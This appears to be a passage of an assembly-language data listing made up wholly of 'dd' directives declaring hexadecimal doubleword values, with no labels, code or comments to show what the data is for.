dd 50D7165Ch, 0DE20816Ch, 4ECECh, 5A856E56h, 0FED27F4h
dd 14B44200h, 0FF62C038h, 3A0738Ch, 1632A219h, 0B1C848EDh
dd 0F09CFAEh, 40A37037h, 15B079Ch, 0FD2EC19Eh, 53E6D659h
dd 90030ED4h, 8A50C3C4h, 0B6248079h, 60DE5C2Bh, 2D1EAD00h
dd 8795F22Fh, 23314700h, 97DF8C10h, 478B0F7h, 68E3E876h
dd 0EB88805Ch, 2F0027B9h, 8A226788h, 11C7BAh, 0DB05D246h
dd 3396F51Dh, 454B38B0h, 0BA345880h, 48E400CAh, 844F37C7h
dd 0B8049001h, 0BFA69279h, 2D4308C0h, 3ECE8CCh, 0B4AAE17Ch
dd 13F33915h, 6368E0ECh, 0DD0E0C9Ah, 203501CAh, 0E75F8D47h
dd 9A267F72h, 8B048E4h, 1128C018h, 0F812FB7Eh, 0CCA073C3h
dd 0E27D1DEBh, 0B8006D06h, 4EAAC626h, 0F62D900h, 6BD07C31h
dd 6F12008Ch, 18B06DD3h, 2A72B434h, 87A0983Bh, 2DC020FDh
dd 3234A0EBh, 0B0AAB82Bh, 50010161h, 1335840Eh, 56B88C36h
dd 2092103Eh, 2E78A7D8h, 91676D05h, 0DEC03752h, 0D5FF9Dh
dd 0CE79A546h, 8020591Dh, 249EE000h, 0DE48ACFAh, 0D85B0015h
dd 55F17810h, 70005667h, 52B89C50h, 3A8B283h, 7504C2B1h
dd 95E76918h, 0B99C4A2Eh, 782818B8h, 0F1EC0721h, 0A8B81560h
dd 74D6D9Ch, 311C5C8Fh, 0B585E9h, 6499B908h, 84001EACh
dd 0A46E2865h, 170DFAC6h, 6A9A52h, 5B83F3B9h, 0D500E1AFh
dd 0A87E6FA9h, 0E4E0AB3Ah, 0D4300052h, 749FDAF5h, 0C7E446FFh
dd 90EBC807h, 18101FC6h, 0FBA851h, 0D6E0FAE1h, 0C4BAAE3h
dd 461BB3A0h, 7573B300h, 83D42B16h, 1EC400E2h, 1AE330F0h
dd 9CFE01F1h, 0DBE93551h, 0B7921A8h, 3397A00h, 1328E79Eh
dd 41F4DCh, 0FEF6544Bh, 10898270h, 0CDF95Ch, 0D5FC1CEEh
dd 26CEE2h, 50AB1A9Ch, 981D1916h, 0AA01CC72h, 0E7B13515h
dd 0E0C7B9DEh, 1C68C2E4h, 0AAF33A7h, 9CA41AC0h, 526F07FDh
dd 0A40E9094h, 0D74EA9Ch, 5B212E60h, 4CF6F19h, 9F61DD08h
dd 1D30D097h, 0FD03AD94h, 9C2BA10Ch, 0C1301841h, 3E3B3931h
dd 0F5DBA300h, 77D89672h, 8113007Bh, 73E77E66h, 4A00EC1Ah
dd 8929DE98h, 0BAD3C383h
dd 38AF48B4h, 2FB76C0Ch, 51001211h, 5CB905DAh, 66B1AB01h
dd 21470864h, 0DA58F103h, 0C80CAD4Dh, 674D728h, 65BD4F76h
dd 7F98A012h, 0B21F5D00h, 5732311Eh, 0C9A760B5h, 66EB02CFh
dd 83E65603h, 30EE2E21h, 1491C608h, 3FCEAFBh, 0B57EFA00h
dd 4415B798h, 0A76703DFh, 97C959C6h, 5CD7C02Bh, 0DE599053h
dd 1182000Bh, 0B7351609h, 0D8E692D6h, 984961C4h, 0B2E8B600h
dd 7000ABAh, 0B5023681h, 114543h, 5FF2F971h, 84CAFB41h
dd 0DEEB4903h, 0A86B23A8h, 347A9h, 0D2ACB7A0h, 76A1C15Ch
dd 9515D400h, 835D0DF2h, 0A5CA04FEh, 0C0F66FEEh, 733CA29Ch
dd 0FAB1E103h, 0C00B2E90h, 4E3A56h, 1BB8DD83h, 229DE6D8h
dd 0D500BB75h, 15BD735Ah, 0E39928h, 0DFB5897Eh, 4DC0D708h
dd 0C84F1A00h, 74B2C1B6h, 5D6B02A7h, 0B46AFE15h, 798B9B60h
dd 6F88BD01h, 0A7807118h, 21D90898h, 790094CAh, 63BAAC27h
dd 1DE688A9h, 0C3F751EBh, 4F17C84Bh, 582375EBh, 798F0309h
dd 62A488B9h, 98BE20D6h, 6F3EF779h, 2D4480ABh, 3453E6F2h
dd 1AC300A6h, 0A837240Ah, 0CD00F1B0h, 0B46BA48Ch, 37D27C53h
dd 21211B16h, 31CDF0E6h, 1D2083A2h, 4CE7A2Ch, 0BC47E240h
dd 7C7301ACh, 389F1446h, 0D9E408ECh, 98016A07h, 417196h
dd 6128965Ch, 0B84794F4h, 8CC55B8h, 0B12160h, 0ACA1288Eh
dd 0F0F1EA9Bh, 4B8D5E1Dh, 8452E70Ah, 0D70CBF48h, 3886105Ah
dd 6900F12Bh, 0F2CC9F22h, 0E0F80AF5h, 59386F00h, 0C52C20FAh
dd 9CE10315h, 3319048Dh, 225CA2C0h, 80988039h, 758831C8h
dd 0CAD0EBh, 0FAE6812h, 0B64DB76Eh, 0CBD2F0Fh, 5DBC4339h
dd 8570D773h, 69306Ch, 8E5E03Fh, 0AD5ECAB7h, 54013379h
dd 851CC27Bh, 0A6F1B2B9h, 0B404CD8h, 5EF9C0F5h, 37096480h
dd 750108AFh, 0EDF455CFh, 9984E32h, 100F21EAh, 50277500h
dd 46EF12DAh, 446D0945h, 0F0004DA9h, 8008E6B7h, 1AAB5200h
dd 0DFB8D02Dh, 0D7CF0E36h, 0C080372Fh, 34FF9844h, 80182907h
dd 4AD09A76h, 0EE602E25h, 0CF68C0B8h, 53630585h, 0B0E96D00h
dd 4E8E79ADh, 4960D8B4h, 0CE0CDD09h, 11345202h, 75290017h
dd 1403BDDFh, 1366B60Eh, 210B08h, 0F7752101h, 1AE4A089h
dd 4142A600h, 0C1EC7060h, 0BCC6369Eh, 10465860h, 0E1752702h
dd 0C3113BDh, 751EF710h, 0D0B81D1Dh, 0F77EDC9Ch, 21495230h
dd 79D6FC63h, 1C8200D2h, 0D9E10854h, 760DE35Ah, 293F5302h
dd 17B10D4h, 66C1DB01h, 0D427CC58h, 0E0508EBEh, 48C054Ch
dd 0BDEC7524h, 3FF4382Bh, 0E781751Bh, 426FAE6Bh, 36DBE04Dh
dd 23438809h, 0BC080047h, 0E47477h, 0B8FBA244h, 83B0AFB5h
dd 4F827500h, 0AD2A45F0h, 4CDB00A8h, 0A4FFDE7Ah, 0C6073C94h
dd 0AABAEEF7h, 0F00A067h, 7A5919F3h, 0A50300A6h, 6616A1A8h
dd 0F400652Fh, 604980C7h, 76A31ECh, 0C8BD1A9Ah, 1FB40089h
dd 2824E0A4h, 0EB005AA2h, 9229BC50h, 7F60046h, 0C9047DB8h
dd 3900BE2Dh, 3B238FAh, 0E4139EFDh, 0F3F27Ch, 0FC0E5375h
dd 8A3315F5h, 582BB300h, 86B7BBD7h, 0D5B103CEh, 0AA819CDEh
dd 0EEC6301Eh, 0E9D0EF00h, 676CC9h, 16FD8D2Ah, 5989B3E4h
dd 0F2FC9E0Fh, 262EC0F4h, 0EE39AA76h, 7C40C075h, 6EC3C151h
dd 0E7137F07h, 0CB4018ADh, 37A9D74h, 9FAC4E8Ah, 3119CC65h
dd 2798B9Ch, 75808C4Bh, 61595F9Dh, 27991601h, 0E204804Dh
dd 3F2C6080h, 0A9BA2378h, 597A8130h, 1885C317h, 901913C1h
dd 660C0703h, 0C8AADD31h, 0FEFF0EFAh, 0DDDDF521h, 8F0F030Eh
dd 0AAA0778Ah, 49C18481h, 0D50C02FBh, 7D45B983h, 0CCD0A4E7h
dd 0A501B690h, 816BC8DBh, 588098C5h, 6AF98E9Ch, 0F72C4677h
dd 440057CCh, 0D4738599h, 32A0001Fh, 0CB1B3039h, 2E1DF358h
dd 1400BB2Bh, 0DA219723h, 0EF380104h, 3F302FF8h, 8069D1F9h
dd 0DA196521h, 78FD27A4h, 0A0430062h, 0D03D4AA2h, 3700CB12h
dd 88C2AC50h, 1D2342FBh, 1A9B2Eh, 4F4F3B7h, 9C0321FAh
dd 93FF83A7h, 0ED44FF6Fh, 0C05C5D44h, 6B598AC3h, 62A88600h
dd 8C1DF594h, 4300324h, 31AFBEFDh, 70863005h, 100496F6h
dd 0A9180294h, 157025B7h, 11FEDF35h, 52F0AD80h, 19CFE884h
dd 8597CBAh, 3E2180D4h, 2F7DF06Ah, 0A4992E56h, 0FE7300EEh
dd 0B31C4ED8h, 0ED87F30Ch, 50B47085h, 1732C25h, 59B603E5h
dd 60891C6Ch, 80F1CD55h, 4411DD88h, 3EF53A15h, 2F815D91h
dd 5906D593h, 68A1F0F3h, 530348h, 0FAC2B321h, 5D781Eh
dd 79524C64h, 8996D530h, 5404BEF8h, 35D373F0h, 0F45826C0h
dd 3FDD01C1h, 56F78E5Dh, 633DE07Eh, 0C0007FF2h, 0D6451185h
dd 0DC8A83h, 62957624h, 0BABCB14Ch, 6E6B4000h, 9653A3AAh
dd 0A760003Bh, 3AAF325Ch, 5006234h, 0F630C439h, 709C6887h
dd 0DA9B3CD2h, 72B4B0Fh, 1540CF60h, 0D5001CF8h, 0C2284A37h
dd 90DA03h, 7041BDBh, 0D8DDAF26h, 0B7EA0C03h, 0B87ABE24h
dd 1CD3C2CCh, 8DC61385h, 0B10CD48h, 8F9FE004h, 0E210C0C5h
dd 46BAF679h, 70DD2207h, 0E06FE86Fh, 0D3F36BF5h, 0D9160041h
dd 0D6DF2BF4h, 4F00359Bh, 9085273Dh, 7E6CE26h, 84DD31Dh
dd 0B6DF1055h, 9F00C21Ch, 0C5FBD6B3h, 0C15DEAh, 9BF38669h
dd 51D1CD30h, 0FC72400h, 0CB9CB175h, 40351DF7h, 0F9BA40E4h
dd 88B85192h, 4AE113Bh, 1C9E8D14h, 0A7500E80h, 0F673CBh
dd 0E74834D4h, 0EAB9BBFh, 0E61EEF0Fh, 6BBC4E3Ch, 7890072Ah
dd 0C6998A80h, 9D890012h, 9EA25DCCh, 500096D8h, 65F06EF1h
dd 0D20D57h, 0C4419712h, 0BB2D1921h, 0BF157B0Fh, 0A7A8C059h
dd 399309h, 5AE0742Fh, 0F2F090DFh, 7CC2403h, 0F82BE3B0h
dd 325301h, 0D0BD56ACh, 0EB3E9625h, 0D8C0FBEEh, 0DDC4777Dh
dd 0CFC03AB8h, 3053AEh, 7A50A68Fh, 0CCA81629h, 5E581395h
dd 0FB4916A4h, 79CE80EBh, 4750656Ah, 4100AB98h, 5601BB3Eh
dd 25C6419h, 8376309Ch, 90804FD6h, 0E0E43A90h, 8951A800h
dd 6EE198EFh, 1CB66432h, 8E0490C5h, 0D603F824h, 0A914671Fh
dd 36A80046h, 0AE53971Eh, 250043C3h, 4BB85D52h, 4823887Dh
dd 0AC008A0Eh, 942633F0h, 8C39EF42h, 2DE68075h, 0F8385E45h
dd 2B76009Ch, 131BF30h, 0B70F27F1h, 60A353EEh, 33F5A8B6h
dd 26910313h, 11A975F7h, 0B587D800h, 363F4668h, 3BAF0F2h
dd 1CA7CE4Ah, 2BC0E134h, 72008F69h, 0CF23EE73h, 0C355EBh
dd 34DCD141h, 177A4FC0h, 0E0CBB530h, 767EAF3h, 3509AF8Bh
dd 40D4AAh, 1BD886CCh, 187EFE93h, 18475BC3h, 1003EADh
dd 4A0C1232h, 0FAA8D1h, 0B7C3EAAAh, 9DB370B4h, 16BEE501h
dd 3C627EC9h, 0D73020h, 0FF2A1E79h, 0E412A297h, 0B8671C0Bh
dd 1AE700FCh, 0E0285FDDh, 0F1DB0734h, 0A0D314E0h, 15EB646Bh
dd 6083AB0Ch, 2882B4FAh, 5CC9275h, 0FD4EEEE4h, 9F8C40C1h
dd 3F19B708h, 0B65A370Eh, 811FC0C7h, 0E8A82956h, 990006Ah
dd 7C710B38h, 0B200A041h, 92C5A42Ch, 90150F5Dh, 721C0028h
dd 901E340Bh, 37544F2Ah, 68F0A888h, 3A836C00h, 9D284ECAh
dd 5ECDE4B4h, 242DECA2h, 41E1C3Bh, 1B7A1F62h, 51E940FDh
dd 0AF9EFEA0h, 51316C30h, 1F7D5Eh, 0A3636DEBh, 0CEFFDA47h
dd 0C7A12200h, 51B2FAA0h, 84FA76h, 291A77Dh, 8C47C925h
dd 0D00F8500h, 73180DA9h, 4E1A0042h, 0DB67C8A2h, 61003843h
dd 87CF7C13h, 0A164C4h, 7D6937ECh, 15B665B3h, 0E13E3400h
dd 0AFD3800Ch, 0A9F90085h
dd 1B396678h, 28008773h, 7A62C218h, 0BB98994h, 6BD4B160h
dd 46E16280h, 8600A139h, 7EA58E04h, 0E01F5F57h, 525C0018h
dd 22B24429h, 0B283E78h, 38578491h, 17AE00D4h, 0FA76F9C0h
dd 0B2270033h, 1A1DD564h, 5748C418h, 49EE019Ch, 2F7CBF38h
dd 0D3E3E0h, 4FB12803h, 799FD9B2h, 46FB7200h, 0DE3FCEB0h
dd 0AC8F0063h, 0A507FF15h, 0CDFA37B8h, 42EB50Eh, 0A0972E73h
dd 704D1B96h, 93640084h, 0E00CCD36h, 0BD00CA99h, 2D0F95BBh
dd 0E143Eh, 968C1353h, 34D3EEDBh, 3046BF00h, 4272C69Ah
dd 69C70579h, 904BAF99h, 2E802614h, 84F3CA00h, 0A2F4095Ch
dd 11B900BCh, 0BDE122A8h, 0F7033174h, 3E5D2469h, 6AC7E4E2h
dd 0AE71E80h, 3FFCF238h, 2FCCAB13h, 0A74CB600h, 5CA26C4Bh
dd 0CACD8601h, 0B389F822h, 9E03D0h, 785E7FD0h, 0E442C5ADh
dd 3CA04B00h, 794959E8h, 0F5BCF4FEh, 0BCD3420h, 71AEC69Dh
dd 0D7529820h, 0C4055D14h, 0A2BA3CA4h, 72759100h, 9068E29Eh
dd 8E950014h, 0F26DE4BCh, 0BA07E8F7h, 19C09A07h, 0E5B6170h
dd 0B7ECD1h, 0D23732AEh, 0E6D86D46h, 43C1EE09h, 8B4C2022h
dd 1DC32A1Dh, 0C1AD97F6h, 9F247BBFh, 0B484E05Fh, 2C8C48h
dd 28925506h, 14FAB52h, 61881BC0h, 0F41964FDh, 300ECF1Ah
dd 0A0B3859Eh, 7E5D6F5Eh, 589AE8D3h, 48009D9Dh, 0FA9B9E75h
dd 778EC93h, 0FB70B876h, 2F004C7Bh, 538DC3E1h, 0CE46963h
dd 6CEFD54Ah, 27005CD8h, 0CC741888h, 3DB763CAh, 878039D7h
dd 3B0E10A2h, 2500AB8Dh, 1246A7BFh, 716561F6h, 571C0F0Fh
dd 81C0FA28h, 3D849F9h, 0BBE1F800h, 87F7892Eh, 42FF02BCh
dd 6C93E4B1h, 7BC2C840h, 0B2801900h, 0D0AD77CDh, 0D3E9009Ch
dd 2E9031A2h, 40009517h, 84FC5A16h, 0FE4A85EAh, 3AF01Bh
dd 1D5BDDCEh, 8B950E7Ch, 13E8B600h, 4C207EF5h, 0A4C9DC5Dh
dd 1A330F4Ch, 0A71FBC40h, 0F61E131Eh, 0C0F09F2Fh, 38F1AA6Bh
dd 0CA00CB66h, 0A2237C06h, 7200C878h, 571D4BE2h, 0F9EA9F3h
dd 0FEC7DF19h, 22DDF1C0h, 710F47C4h, 0C9796C23h, 7C7C23CAh
dd 3FE9F08Fh, 7056001Fh, 20BAFC1Bh, 0F30EA7A3h, 0E0C4D882h
dd 9B2F2AE2h, 0CCA00343h, 0F113AFD1h, 907E1588h, 0DF7C6E00h
dd 47AE14B8h, 0A4D005Dh, 0EBC02360h, 0C4BAD7C5h, 0BC95503Ch
dd 78E40744h, 3F43B749h, 77A7A7C6h, 5C87181h, 11991FE3h
dd 80C42679h, 0EFA6AFC9h, 0A75687C0h, 14BE2A2Ch, 2860F483h
dd 9A6A2430h, 40D1041Ch, 0FE58B90Eh, 18979D83h, 80E73F6Ch
dd 2018D706h, 0E78A295h, 21B700BEh, 0D4CCCA86h, 520D58A0h
dd 20C3C009h, 14B6F6E8h, 400645EFh, 1F717A24h, 80BAB9AAh
dd 0A7180CC8h, 6C07881h, 0C300A8F8h, 0F31ED716h, 5B052C1h
dd 0E392175Ch, 0A19AC0E1h, 0B10053D3h, 4922A272h, 3BBF920h
dd 58A37810h, 0C9A0B07Fh, 1400DE37h, 974FCD74h, 19EBC7h
dd 3F7D2A94h, 46429964h, 4C2C2D00h, 30DAD636h, 7FEC392Bh
dd 93A77609h, 5893944Fh, 4680291Fh, 0D4B98E3Ch, 0FD19001Dh
dd 0C38B0EB8h, 0EDE24006h, 0DEA56914h, 0BE140788h, 0B312062h
dd 0C450BDFAh, 0F4C45Ah, 32498971h, 0D8A6B70Dh, 3FCCC33Bh
dd 6C50867Fh, 24209A25h, 1407B6CDh, 0E0F1206Fh, 0CF91811h
dd 0CFEA759Dh, 0EF1FB3B9h, 0E14158FFh, 8952C6A0h, 21E90898h
dd 0FF007712h, 0A8FA4DCAh, 0B987DFh, 397D1129h, 0BC5EA905h
dd 0D4B8A11Fh, 0E3311986h, 934801F0h, 7B53CD13h, 0E8BC349Dh
dd 0EC076B00h, 0D7A657C0h, 87F65C7h, 89A44332h, 0FBD00763h
dd 6518F72Ch, 0A158CC90h, 5841060Bh, 0D8A2511Ch, 20030374h
dd 8A10BCF4h, 3947A148h, 0FF536980h, 98663F1Dh, 24C440FDh
dd 0BF636D08h, 885B52D1h, 51A55Fh, 3EA174BCh, 0C057BBCCh
dd 0BF070894h, 0C93C3D30h, 0CD1E110Ch, 7648052h, 8C7FC02Bh
dd 12884B44h, 8C077Ch, 944BA3Eh, 481EF3EBh, 1824D4DDh
dd 389883B9h, 0A068B11Fh, 5445FFDEh, 758AA4FCh, 0E329C0ADh
dd 0F1812D7Ch, 0C716E600h, 0FA19745Eh, 5BF400E0h, 0D683D289h
dd 0D30C680Ch, 398FD473h, 6EE00A2h, 0E9FF4979h, 173A12C0h
dd 219731E4h, 49202685h, 95391237h, 4DD04289h, 0D140F055h
dd 93FE463Eh, 899991C2h, 0EA344012h, 13A4A8E0h, 64650EA7h
dd 212F37E1h, 74382DC0h, 0D90AC536h, 64BA967Fh, 0ED5E3A80h
dd 516557h, 7609FB26h, 0F516F9DFh, 83398100h, 44CAE35Eh
dd 7477DF6h, 0BBFD14C3h, 7B716C49h, 0C0B04254h, 0F8AD9C00h
dd 0DC4C04AFh, 6E60A0C6h, 3926300Dh, 2115F240h, 300AFB00h
dd 0AB58607Ch, 490200BBh, 0C134460Bh, 114C64EEh, 0D21F77A8h
dd 13C086EDh, 0ABCCFB93h, 0A3B47346h, 4531C880h, 0D966126Eh
dd 7AA008C3h, 4BFF8AC0h, 0A119215Ah, 1520E591h, 0F2B88D00h
dd 3EF3E44Ch, 3789861h, 21922DF8h, 0C101BF95h, 0E39058ADh
dd 0EC30560Dh, 8866446h, 87F8A0BAh, 2290600Eh, 0C856C3F0h
dd 52A00D67h, 0DE104ABDh, 6111580Ah, 2A077D80h, 608C47C0h
dd 758721AFh, 23028E07h, 190E316h, 20C498CBh, 754012C0h
dd 5B8800B9h, 569080CCh, 45965816h, 0A5AB4000h, 3822C766h
dd 5389CB08h, 0D4007231h, 0AC77D846h, 5EA3A901h, 0CDEFF8C4h
dd 52922FF0h, 59027C22h, 7E0DF090h, 7017BE31h, 0B3139061h
dd 0A1F0A42Eh, 0B0DDE90Ah, 1DC45C80h, 0E0C86Dh, 14D642A0h
dd 0BEF64F79h, 0AF211018h, 38A3ACB8h, 0AE930D8Dh, 0EDC000B0h
dd 0C7C530C0h, 563E20C0h, 0A9AD2F29h, 7E1860A0h, 0C021077Fh
dd 7686C06Fh, 0E5004007h, 0C5B414A5h, 0A0A43F29h, 80E6519Ch
dd 0B5FC46A8h, 0AD60B960h, 50B1CC68h, 4CF61039h, 57021C19h
dd 9FC0C494h, 90C6A085h, 0E644F430h, 32C84C51h, 9B7A1838h
dd 830B81h, 95604D61h, 706907D1h, 0D8F81C1Dh, 0E21E1586h
dd 0C4580DF0h, 0E058BC3Ch, 70A13066h, 0E5A1D8B5h, 8E1088C1h
dd 242195D4h, 881FAC24h, 6C4CA752h, 8270273h, 87AEA675h
dd 1278AC2Ch, 0A5940C0Eh, 2E487D19h, 8CB9BC70h, 2BBE3661h
dd 0EA811F58h, 56497B55h, 6903280h, 0D30E750Dh, 42889868h
dd 56BB0B41h, 0A138A1DFh, 0A843E103h, 7B099460h, 60769484h
dd 0FC7E0629h, 94448C27h, 6210350h, 1E608A5Fh, 0C12AF810h
dd 409C7B2Eh, 3A059C11h, 52DCB300h, 0EC2A8B23h, 38A54C4Bh
dd 7DF25807h, 0CA0495Ah, 9B11CFF5h, 32C460F9h, 0C49C7A2Ah
dd 2ABD5500h, 843395F9h, 9E83A0EFh, 840690E2h, 0DB9C02A0h
dd 0ED31DC53h, 220240C4h, 0E5FCB91Fh, 0E4AC452Eh, 605062BBh
dd 14F49B7h, 0B1B00475h, 20B31519h, 0D549EA08h, 30A3838h
dd 1C92A0DAh, 0AC2FC841h, 0A34907B3h, 0A261FCAAh, 8620E13h
dd 0EB91A060h, 265E3E80h, 0AC4C9C0Ch, 0B0215E08h, 0E8AB80CCh
dd 78B1E1BAh, 5EB36C0Ah, 2280BC49h, 9A1A210Ch, 0D8C85431h
dd 9958A0E9h, 7A9C09D9h, 4C4028FAh, 0A94D01D7h, 0CD693B08h
dd 7ABC94h, 2F5D9C41h, 0B35F54A4h, 24213D2Ch, 0EED33980h
dd 5975CBE3h, 5804443Ah, 0D0944CB4h, 1D513488h, 0B1BB70h
dd 83842411h, 2E708290h, 10B1D8B1h, 6904B74h, 0A63D3571h
dd 0BA08604Dh, 696BD1Bh, 7939ED08h, 0E5D1F4B1h, 9039718h
dd 85112A84h, 4CC7C85Bh, 991E07F1h, 0C2578A3Eh, 88A30594h
dd 0B93A879Fh, 0CBC98017h, 31BD718Bh, 0C26C0376h, 0B3A64B09h
dd 86626007h, 40D0191Dh, 0CC3B49Bh, 90EDC4DCh, 4630BC40h
dd 1DCF89D2h, 0DCA905CBh
dd 0C003FB71h, 0F7692E9Ah, 84AFA02Ah, 0E128EE07h, 27907F5Eh
dd 648FD2h, 0F29C3CDFh, 50CBEBA2h, 0B0A0AD18h, 43B731h
dd 8AC89144h, 0D9F237D4h, 82DA6800h, 9FC5609Bh, 67ECD2h
dd 2ED3C16h, 19F2C64Bh, 0A4926628h, 0EE027646h, 795A57FFh
dd 7611011Ch, 53BCEAFFh, 4844DEB3h, 3D545816h, 45088C40h
dd 15C6568Fh, 0A821DCBAh, 7B0E4800h, 0C434A1DFh, 8180E496h
dd 9A26487h, 0D24014BEh, 6303A03Fh, 91CCC45Ah, 80D55024h
dd 0B13AA740h, 4CF30098h, 0DBE3B0CAh, 0DA714622h, 317F5A04h
dd 0A0904D7Bh, 3C77BADDh, 0E28073F6h, 918A8E75h, 5C0255CBh
dd 22DE3702h, 0CC60403Ch, 0C87F819Bh, 2F493514h, 1FFEB85Ch
dd 1656C979h, 0EE8401B2h, 23BAFB3Fh, 30B0A2C4h, 7A01B762h
dd 1A466889h, 0EC20D105h, 0C2490965h, 1C00048Ah, 13FD535Fh
dd 30A4CD75h, 2807770Eh, 0E08B92C0h, 6FDD16h, 0CCFE3DF8h
dd 0C30F1154h, 5DB83AFFh, 40F2998Eh, 2B4913FBh, 9DF40069h
dd 8A53F82Ah, 4B554507h, 88C04EECh, 2E05C0E4h, 0A90A5903h
dd 94880C8Eh, 0BE4ABF03h, 0E3F992F5h, 9017F854h, 0E1C713DBh
dd 5C440AD3h, 3D9685CCh, 2B8C90E6h, 0A126091Ch, 0ACBD78D8h
dd 2AC27C77h, 1F978506h, 10007C99h, 62251h, 9B7CF9FBh
dd 0B020A5B9h, 55B39809h, 8E00919Ah, 0FC434510h, 5B744F00h
dd 0EEE0B08h, 28D0062h, 63591501h, 0A030234Ch, 0E6F231BBh
dd 66050089h, 254AF175h, 0E0FC2EC6h, 0B7CE0E02h, 0C2D9B04Bh
dd 0C18D0D44h, 9AB87028h, 8EA6028Ch, 8B8A3132h, 5ADCA080h
dd 0FF006444h, 0A14951D3h, 5CE9F989h, 41733094h, 297888A6h
dd 586506E7h, 0F400EEF6h, 18D8CDC8h, 99EADABEh, 3E7A0958h
dd 0A731C20h, 5A005159h, 0D045CFE0h, 3D93BF57h, 9960409Ah
dd 0BC9C668Fh, 5D69B962h, 787084DEh, 64062B60h, 0D0D84968h
dd 238258h, 321ECB06h, 4B95D298h, 0AB5C8778h, 0B8BB2CEDh
dd 34797CA9h, 0C01C8D18h, 2FE7F908h, 0E13802E4h, 221052DBh
dd 5A276E5Ch, 0EA48B9C9h, 0C5933F00h, 4801685Ah, 3452450Eh
dd 785E4C60h, 0CFB01DCCh, 27897C49h, 8CEC3FE5h, 200FA441h
dd 96036711h, 0C0267C08h, 0D8C904Dh, 0E0485E4Ch, 490554Ah
dd 62EC2B4Eh, 0F2C4B2F2h, 6F7530A4h, 0B5C4C002h, 79AEA530h
dd 5C68A47Ch, 80CD4C21h, 1A251EDh, 0A73FFE0Bh, 0AA10AFBh
dd 0BB86F8BEh, 7E31475Dh, 0AC652DC7h, 8193C404h, 618DF2F4h
dd 0EBA0F30Ch, 5E1C4AC1h, 9D65B870h, 0CD390868h, 8B1A9960h
dd 0C4931CDAh, 2CF028E8h, 88D8BFF5h, 5A83D511h, 7C8ECCCh
dd 0AA44F420h, 546419DEh, 88BA7BF2h, 7A18DF64h, 0D53888h
dd 0FE01D457h, 0F120C0FAh, 28B55000h, 0EEDBDAB1h, 968CE409h
dd 0E4190994h, 74CD04A9h, 2E49CC60h, 88685284h, 92B09450h
dd 0BB505C4h, 0EC9286DFh, 0A7FC005Fh, 510EAC11h, 4EDB0213h
dd 0D4C234AAh, 1D9FE1E0h, 129F897h, 17F0484Dh, 0E44A112Dh
dd 2500B085h, 0FB2608DBh, 3D02D65Ah, 0E69F8015h, 3EC94014h
dd 6CA44A5Dh, 0F5AAC700h, 607276E7h, 97738Ch, 956ED7F0h
dd 16D19637h, 9309B200h, 0C51B7A57h, 4D46008Eh, 19DE90F6h
dd 0CE737B4Fh, 4A994700h, 1794531Dh, 2C72037Ah, 480C2F32h
dd 0EED36BB0h, 0F1AADF00h, 0F7FB7C2Bh, 4E020067h, 85B105D1h
dd 18C068D2h, 0F052DC84h, 742E7275h, 5BA5005Ah, 502A77D0h
dd 6801F830h, 0B74944B1h, 1080FDA7h, 5E6B7E85h, 840AF4A2h
dd 2872B16Ah, 0FDF6E480h, 61F2E76h, 42103894h, 9E3068CBh
dd 55BC19E5h, 0C090E4Ch, 0F160E872h, 0D3BE7FDh, 35526D00h
dd 98DFF95Eh, 6923306Ah, 6338E858h, 0EA654600h, 0B071F270h
dd 0A290A0F5h, 84AB0045h, 0D19A4DECh, 0F23065E7h, 0A30C90F7h
dd 1E9CE8C2h, 8A67F9h, 0ADEF53AFh, 0C1004ECDh, 0F434475Ch
dd 0DE9E13h, 1D70685h, 0A82C59E2h, 0F0E7F800h, 12C6FF82h
dd 0AF2D0011h, 10AE766Bh, 40043B0h, 7E1B48B9h, 45A14Fh
dd 9AF20BCAh, 0E8A30DD9h, 32AD99A0h, 0AC8B8607h, 0A67084D0h
dd 1780E4A0h, 0F8CF58Fh, 3D87BF0Ah, 2A93D0BBh, 0B700F277h
dd 4FA24D9Bh, 0FC0924h, 0B127314Ch, 5F296EEEh, 57008CEAh
dd 0B8DE3D86h, 7C67ECEDh, 0A1AB005Bh, 8969DC12h, 0DA0034BCh
dd 986CFB7Bh, 25BE563h, 0F5A2D19Dh, 0C5C00CEDh, 681C4712h
dd 80006C9Ch, 0AF69C326h, 0A15A0044h, 4DE6CBDBh, 5B002D8Ah
dd 6B2467DAh, 541248h, 0F07B4C7Dh, 0FECE4028h, 69EA60BDh
dd 0E10F00C8h, 0F205D204h, 124C9B5Ah, 528403F9h, 801F4D10h
dd 0EC8C38h, 296B58AFh, 802E7BB8h, 9106881Eh, 0D7055740h
dd 0C7C39Eh, 2D12D530h, 652553A8h, 0DD888A03h, 0F821B947h
dd 0F03B0495h, 9F19C089h, 802F20C3h, 8426500h, 0F7C1C84Eh
dd 7EE40002h, 0F6624069h, 1E004792h, 0D16703A7h, 0A96CBh
dd 0CA20C27Fh, 1933E997h, 16EF5F00h, 0F7427456h, 3911DC5h
dd 0E1DA40E5h, 0F652862h, 5C2C6100h, 0B94E10A1h, 47523942h
dd 7F1BCB00h, 0CC1CB03Fh, 3CF78E00h, 5BE2676h, 81F4001Ah
dd 0BBE1D00Ch, 2A00490Ah, 0DDF3C88Eh, 663392Ch, 8AE2665Ch
dd 8903313Bh, 0F0CD73E1h, 8F1000B3h, 7295C434h, 851EE91Bh
dd 8609BEEBh, 5F2C00AAh, 0A2FCD9h, 0FB8CF405h, 473DF998h
dd 0EA919200h, 0A504DCE5h, 0FDD90015h, 17EE2924h, 32481BFh
dd 80397D84h, 10DA092Fh, 70AFA76Fh, 40DC00A5h, 793393A0h
dd 0CA0F69EAh, 0C03FF1F3h, 950587D0h, 0FB32CDBh, 0D5702743h
dd 598D3B09h, 24D607EDh, 8C01A9E0h, 0F3860035h, 39686B5Dh
dd 5002585h, 0F62D782h, 0F3604C8h, 0CBFF65ADh, 83781921h
dd 9040CAB0h, 4000B28Ah, 0FE5964Dh, 0F326FE0h, 0A1EA1B27h
dd 48727BE0h, 171EB771h, 807A0FA2h, 0F62B2AE8h, 4F4C82h
dd 7631A6E6h, 0E43AE0C8h, 0B83C6400h, 38F9CF63h, 94C201F8h
dd 0CA99DC6Ch, 9C944140h, 1F55CC45h, 6924FE00h, 0CD5958AEh
dd 8CA20091h, 6BFC4B1Ah, 11EEE812h, 3F60FFEEh, 9D070938h
dd 0D1740FEFh, 0C560505Eh, 5D2A12E0h, 5513BB00h, 5F632D5Ah
dd 0DA5700C0h, 673C33Bh, 938111Ah, 0E46428A8h, 0E9AC320Eh
dd 584A2C0Fh, 93D93A23h, 0A13FF401h, 0C04FE17Fh, 2B3D1B22h
dd 0F8F18486h, 0B480F20Ah, 665079h, 2DA0BF0Ch, 8D5824FFh
